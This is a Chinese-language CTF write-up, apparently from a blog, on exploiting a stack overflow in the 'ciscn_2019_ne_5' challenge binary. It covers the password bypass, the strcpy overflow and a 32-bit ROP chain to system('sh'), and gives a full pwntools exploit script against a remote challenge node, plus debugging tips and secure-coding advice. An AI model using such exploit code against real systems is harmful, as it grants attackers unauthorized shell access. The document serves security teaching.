☰
栈溢出漏洞利用:从CTF题目到ROP链构造
2026/11/4 13:14:40 网站建设 项目流程

1. 漏洞分析与利用思路

这个CTF题目是一个典型的栈溢出漏洞利用案例。我们先来分析程序的基本结构和漏洞点:

程序首先要求输入管理员密码,验证通过后才能进入主功能菜单。通过逆向分析可以发现,程序存在一个明显的栈溢出漏洞,位于日志信息修改功能中。具体来说,当选择修改日志信息时,程序使用了不安全的strcpy函数,将用户输入的内容复制到一个固定大小的缓冲区中,而没有进行长度检查。

注意:在实际漏洞利用中,strcpy这类不安全的字符串操作函数是常见的漏洞来源。它们不会检查目标缓冲区的大小,容易导致缓冲区溢出。

通过IDA反编译可以看到,程序虽然自带了system函数,但缺少直接的"/bin/sh"字符串。不过我们发现程序中有"sh"字符串(来自fflush函数的引用),这给了我们利用的机会。因为在Linux系统中,system("sh")和system("/bin/sh")的效果是相同的。

2. 漏洞利用步骤详解

2.1 绕过身份验证

首先需要绕过管理员密码验证。通过分析程序逻辑发现,只需输入"administrator"即可通过验证:

io.sendlineafter("Please input admin password:", b"administrator")

2.2 触发漏洞路径

通过逆向分析,我们发现完整的利用路径应该是:

  1. 选择功能1(修改日志信息)
  2. 输入精心构造的payload触发溢出
  3. 选择功能4(退出程序)来执行我们的ROP链

2.3 ROP链构造

由于是32位程序,我们需要构造一个三参数的ROP链来调用system函数。具体构造如下:

offset = 0x48 + 4 # 填充到返回地址的偏移量 system_addr = 0x80484d0 # system函数地址 exit_addr = 0x0804a060 # exit函数地址(可选) bin_sh_addr = 0x080482E6 + 4 # "sh"字符串地址

构造的payload结构为:

[填充数据][system地址][返回地址]["sh"字符串地址]

这里有几个关键点需要注意:

  1. 填充数据需要精确覆盖到返回地址
  2. system地址后面跟的是执行完system后的返回地址(这里用了exit)
  3. 最后是system的参数地址(指向"sh"字符串)

3. 完整利用代码解析

下面是完整的漏洞利用代码,我们逐段分析:

from pwn import * from LibcSearcher import * # 设置环境 context(arch='i386', os='linux', log_level='debug') # 建立连接 io = remote('node5.buuoj.cn', 27220) elf = ELF('./ciscn_2019_ne_5') # 计算偏移量 offset = 0x48 + 4 # 获取关键地址 system_addr = 0x80484d0 exit_addr = 0x0804a060 bin_sh_addr = 0x080482E6 + 4 # 构造payload payload = cyclic(offset) + p32(system_addr) + p32(exit_addr) + p32(bin_sh_addr) # 利用过程 io.sendlineafter("Please input admin password:", b"administrator") # 绕过身份验证 io.sendlineafter(":", b"1") # 选择功能1 io.sendlineafter("Please input new log info:", payload) # 发送payload触发溢出 io.sendlineafter(":", b"4") # 选择功能4执行ROP链 # 获取交互式shell io.interactive()

提示:在实际操作中,偏移量可能需要通过调试确定。可以使用cyclic模式生成测试数据,然后根据崩溃时的寄存器值计算精确偏移。

4. 常见问题与调试技巧

4.1 偏移量计算不准确

如果payload没有正确覆盖返回地址,可能是因为偏移量计算错误。可以通过以下方法调试:

  1. 使用cyclic(100)生成测试数据
  2. 运行程序并触发崩溃
  3. 查看崩溃时的EIP值
  4. 使用cyclic_find(EIP值)计算精确偏移

4.2 地址获取失败

有时关键函数的地址可能获取不到,可以尝试:

  1. 使用ELF对象的symbols属性:system_addr = elf.symbols['system']
  2. 使用plt地址:system_addr = elf.plt['system']
  3. 使用got地址:system_addr = elf.got['system']

4.3 系统防护机制

现代系统通常有各种防护机制,如ASLR、NX、Stack Canary等。这个题目比较简单,没有这些防护,但在实际环境中需要注意:

  1. 如果遇到ASLR,需要先泄漏地址
  2. 如果有NX,可能需要使用ROP技术
  3. 如果有Stack Canary,需要先泄漏或绕过canary值

5. 扩展思考与进阶技巧

5.1 通用ROP链构造

在更复杂的情况下,可能需要构造更长的ROP链。一些有用的gadget:

ROPgadget --binary ./ciscn_2019_ne_5

可以查找如"pop ret"、"pop pop pop ret"等有用的gadget来构造参数传递。

5.2 动态库利用

如果程序没有直接提供system函数,可以考虑:

  1. 泄漏libc地址
  2. 计算libc基址
  3. 获取system和"/bin/sh"的真实地址

5.3 其他利用方式

除了直接获取shell,还可以考虑:

  1. 读取flag文件内容
  2. 执行特定命令
  3. 修改程序行为

6. 安全编程建议

从防御角度,开发者应该:

  1. 避免使用不安全的字符串函数(strcpy, gets等)
  2. 使用安全的替代函数(strncpy, snprintf等)
  3. 实现严格的输入验证
  4. 启用现代防护机制(ASLR, NX, Stack Canary等)
  5. 定期进行安全审计和渗透测试

这个题目虽然简单,但涵盖了栈溢出利用的基本原理和技术要点。通过这个案例,我们可以深入理解缓冲区溢出漏洞的成因、利用方法和防御措施。在实际渗透测试中,类似的漏洞仍然广泛存在,掌握这些基础知识对于安全研究人员至关重要。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询